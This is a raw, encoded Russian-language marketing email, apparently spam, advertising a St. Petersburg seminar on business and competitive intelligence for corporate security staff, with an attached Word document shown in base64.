=CC=E5=F1=F2=EE =E4=E5=EB=EE=E2=EE=E9 =E8 =EA=EE=ED=EA=F3=F0=E5=ED=F2=ED= =EE=E9 =F0=E0=E7=E2=E5=E4=EA=E8 =E2 =EE=E1=E5=F1=EF=E5=F7=E5=ED=E8=E8 =FD= =EA=EE=ED=EE=EC=E8=F7=E5=F1=EA=EE=E9 =E1=E5=E7=EE=EF=E0=F1=ED=EE=F1=F2=E8= =E1=E8=E7=ED=E5=F1=E0.=20 =CA=EE=ED=EA=F3=F0=E5=ED=F6=E8=FF =E8 =EA=EE=ED=EA=F3=F0=E5=ED=F2=ED=E0= =FF =F0=E0=E7=E2=E5=E4=EA=E0. =D0=EE=EB=FC =E1=E8=E7=ED=E5=F1-=F0=E0=E7=E2=E5=E4=EA=E8 =E2 =EF=F0=E8=ED= =FF=F2=E8=E8 =F3=EF=F0=E0=E2=EB=E5=ED=F7=E5=F1=EA=EE=E3=EE =F0=E5=F8=E5=ED= =E8=FF. =C1=E8=E7=ED=E5=F1-=F0=E0=E7=E2=E5=E4=EA=E0 =E8 =E1=E5=E7=EE=EF=E0=F1=ED= =EE=F1=F2=FC =E1=E8=E7=ED=E5=F1=E0. =CE=F1=ED=EE=E2=ED=FB=E5 =ED=E0=EF=F0=E0=E2=EB=E5=ED=E8=FF =E2=E5=E4=E5= =ED=E8=FF =E4=E5=EB=EE=E2=EE=E9 =F0=E0=E7=E2=E5=E4=EA=E8. =D7=E5=EB=EE=E2=E5=F7=E5=F1=EA=E8=E9 =F4=E0=EA=F2=EE=F0 =E2 =E4=E5=EB=EE= =E2=EE=E9 =F0=E0=E7=E2=E5=E4=EA=E5. =CE=E1=F9=E8=E5 =EF=EE=EB=EE=E6=E5=ED=E8=FF =EF=EE =E8=ED=F4=EE=F0=EC=E0= =F6=E8=EE=ED=ED=EE=E9 =E1=E5=E7=EE=EF=E0=F1=ED=EE=F1=F2=E8. =CF=F0=E0=E2=EE=E2=FB=E5 =EE=F1=ED=EE=E2=FB =E7=E0=F9=E8=F2=FB =EA=EE=ED= =F4=E8=E4=E5=ED=F6=E8=E0=EB=FC=ED=EE=E9 =E8=ED=F4=EE=F0=EC=E0=F6=E8=E8. =CF=F0=EE=EC=FB=F8=EB=E5=ED=ED=E0=FF =EA=EE=ED=F2=F0=F0=E0=E7=E2=E5=E4=EA= =E0.=20 =CE=F0=E3=E0=ED=E8=E7=E0=F6=E8=FF =F1=EB=F3=E6=E1=FB =E1=E8=E7=ED=E5=F1= -=F0=E0=E7=E2=E5=E4=EA=E8. =20 =C0=EF=EF=E0=F0=E0=F2=ED=FB=E5 =E8 =EF=F0=EE=E3=F0=E0=EC=EC=ED=FB=E5 =F1= =F0=E5=E4=F1=F2=E2=E0 =E7=E0=F9=E8=F2=FB. ------=_NextPart_001_0AB6_01CEF173.1DE0AE00 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable
  =D1=EF=E5=F6=E8=E0=EB=FC=ED=EE =E4=EB=FF =F0=F3=EA=EE=E2=EE=E4= =E8=F2=E5=EB=E5=E9 =EF=F0=E5=E4=EF=F0=E8=FF=F2=E8=E9 =E8 =F1=EE=F2=F0=F3=E4= =ED=E8=EA=EE=E2 =F1=EB=F3=E6=E1=20 =E1=E5=E7=EE=EF=E0=F1=ED=EE=F1=F2=E8:
  =C4=E5=EB=EE=E2=E0=FF =E8= =EA=EE=ED=EA=F3=F0=E5=ED=F2=ED=E0=FF =F0=E0=E7=E2=E5=E4=EA=E0.
 = ; =D1=EE=E2=F0=E5=EC=E5=ED=ED=FB=E5=20 =F2=E5=F5=ED=EE=EB=EE=E3=E8=E8 =E8 =EF=EE=E4=F5=EE=E4=FB.
 
  =CF=C5=D2=C5=D0=C1=D3=D0=C3, 9, I=CE =C4=C5=CA=C0=C1=D0=DF
 
  =C7a=ED=FF=F2=E8=FF =EF=F0o=E9=E4y=F2 =E2 =F2=E5=F7=E5=ED=E8=E5= =E4=E2yx =E4=EDe=E9 c=20 l=CE:=EE=CE =E4o=20 17:=CE=EE c =EFe=F0e=F0=FB=E2a=EC=E8 =EDa=20 =EAo=F4e-=E1=F0e=E9=EA =E8 o=E1e=E4.
  =C4=EB=FF =EFo=EBy=F7e=ED=E8= =FF =EFo=EB=EDo=E9 =EF=F0o=E3=F0a=EC=EC=FB =E8 yc=EBo=E2=E8=E9 y=F7ac=F2=E8= =FF=20 c=E2=FF=E6=E8=F2ec=FC c =EDa=EC=E8 =EFo =F2e=EBe=F4o=EDy: =20
[ =EA=EE=E4_=D1=CF=E1 ] 98-6 -- 94 -- 1l

  =D2=E5= =EC=E0=F2=E8=EA=E0 =EC=E5=F0=EE=EF=F0=E8=FF=F2=E8=FF:
 
  =CC=E5=F1=F2=EE =E4=E5=EB=EE=E2=EE=E9 =E8 =EA=EE=ED=EA=F3=F0=E5= =ED=F2=ED=EE=E9 =F0=E0=E7=E2=E5=E4=EA=E8 =E2 =EE=E1=E5=F1=EF=E5=F7=E5=ED=E8= =E8 =FD=EA=EE=ED=EE=EC=E8=F7=E5=F1=EA=EE=E9=20 =E1=E5=E7=EE=EF=E0=F1=ED=EE=F1=F2=E8 =E1=E8=E7=ED=E5=F1=E0.
  =CA= =EE=ED=EA=F3=F0=E5=ED=F6=E8=FF =E8 =EA=EE=ED=EA=F3=F0=E5=ED=F2=ED=E0=FF =F0= =E0=E7=E2=E5=E4=EA=E0.
 =20 =D0=EE=EB=FC =E1=E8=E7=ED=E5=F1-=F0=E0=E7=E2=E5=E4=EA=E8 =E2 =EF=F0=E8=ED= =FF=F2=E8=E8 =F3=EF=F0=E0=E2=EB=E5=ED=F7=E5=F1=EA=EE=E3=EE =F0=E5=F8=E5=ED= =E8=FF.
 =20 =C1=E8=E7=ED=E5=F1-=F0=E0=E7=E2=E5=E4=EA=E0 =E8 =E1=E5=E7=EE=EF=E0=F1=ED=EE= =F1=F2=FC =E1=E8=E7=ED=E5=F1=E0.
  =CE=F1=ED=EE=E2=ED=FB=E5 =ED=E0= =EF=F0=E0=E2=EB=E5=ED=E8=FF =E2=E5=E4=E5=ED=E8=FF=20 =E4=E5=EB=EE=E2=EE=E9 =F0=E0=E7=E2=E5=E4=EA=E8.
  =D7=E5=EB=EE=E2= =E5=F7=E5=F1=EA=E8=E9 =F4=E0=EA=F2=EE=F0 =E2 =E4=E5=EB=EE=E2=EE=E9 =F0=E0= =E7=E2=E5=E4=EA=E5.
 =20 =CE=E1=F9=E8=E5 =EF=EE=EB=EE=E6=E5=ED=E8=FF =EF=EE =E8=ED=F4=EE=F0=EC=E0=F6= =E8=EE=ED=ED=EE=E9 =E1=E5=E7=EE=EF=E0=F1=ED=EE=F1=F2=E8.
  =CF=F0= =E0=E2=EE=E2=FB=E5 =EE=F1=ED=EE=E2=FB =E7=E0=F9=E8=F2=FB=20 =EA=EE=ED=F4=E8=E4=E5=ED=F6=E8=E0=EB=FC=ED=EE=E9 =E8=ED=F4=EE=F0=EC=E0=F6= =E8=E8.
  =CF=F0=EE=EC=FB=F8=EB=E5=ED=ED=E0=FF =EA=EE=ED=F2=F0=F0= =E0=E7=E2=E5=E4=EA=E0.
 =20 =CE=F0=E3=E0=ED=E8=E7=E0=F6=E8=FF =F1=EB=F3=E6=E1=FB =E1=E8=E7=ED=E5=F1-=F0= =E0=E7=E2=E5=E4=EA=E8. 
  =C0=EF=EF=E0=F0=E0=F2=ED=FB=E5 =E8= =EF=F0=EE=E3=F0=E0=EC=EC=ED=FB=E5=20 =F1=F0=E5=E4=F1=F2=E2=E0 =E7=E0=F9=E8=F2=FB.
 
 
------=_NextPart_001_0AB6_01CEF173.1DE0AE00-- ------=_NextPart_000_0AB5_01CEF173.1DE0AE00 Content-Type: application/octet-stream; name="2014-razvedka.docx" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="2014-razvedka.docx" UEsDBBQABgAIAAAAIQCPWexTnwEAABYHAAATAAgCW0NvbnRlbnRfVHlwZXNdLnhtbCCiBAIooAAC AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC0 lc1OwzAQhO9IvEPkK0pcOCCEmnKAcoRKFHF27U1rkdiWdwvt27Np2qiglpSfXiI59s58Hlvr/s2i KpM3iGi9y8V51hMJOO2NddNcPI/v0yuRIClnVOkd5GIJKG4Gpyf98TIAJlztMBczonAtJeoZVAoz H8DxTOFjpYiHcSqD0q9qCvKi17uU2jsCRynVGmLQv4NCzUtKhgv+3ZBEKFEkt83C2isXKoTSakVM Kt+c+eKSrh0yrlytwZkNeMYYQu50qGf2G6zrHjmaaA0kIxXpQVWMId99NNJ4Pa94D9n3Mjs4fVFY DW19rRai14DImVdl1s5UyroN/14OpGUJ+P8Uje6B9i+WZsOiAM2H3Z1HhWm96ayx2KrtdgMiDukQ k89XMO0KHdfKnQjvMHk6GsWWeCdI4T05T8c4+1a6EwKcORLDRrkToYaFeH7AvfvhlWiED/B3NFaT Eo5BsJbuhCDuuyBX378nsZL5zpI71Cj6gNzH4y+2vWnUdXXKrS9AJAttq97V6lpHfgP+nDPUr4wB s8Nbrl61wQcAAAD//wMAUEsDBBQABgAIAAAAIQAekRq38wAAAE4CAAALAAgCX3JlbHMvLnJlbHMg ogQCKKAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAjJLbSgNBDIbvBd9hyH032woi0tneSKF3IusDhJnsAXcOzKTavr2jILpQ217m9OfLT9ab g5vUO6c8Bq9hWdWg2JtgR99reG23iwdQWchbmoJnDUfOsGlub9YvPJGUoTyMMaui4rOGQSQ+ImYz sKNchci+VLqQHEkJU4+RzBv1jKu6vsf0VwOamabaWQ1pZ+9AtcdYNl/WDl03Gn4KZu/Yy4kVyAdh b9kuYipsScZyjWop9SwabDDPJZ2RYqwKNuBpotX1RP9fi46FLAmhCYnP83x1nANaXg902aJ5x687 HyFZLBZ9e/tDg7MvaD4BAAD//wMAUEsDBBQABgAIAAAAIQCrW3y7TAEAAEEFAAAcAAgBd29yZC9f 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 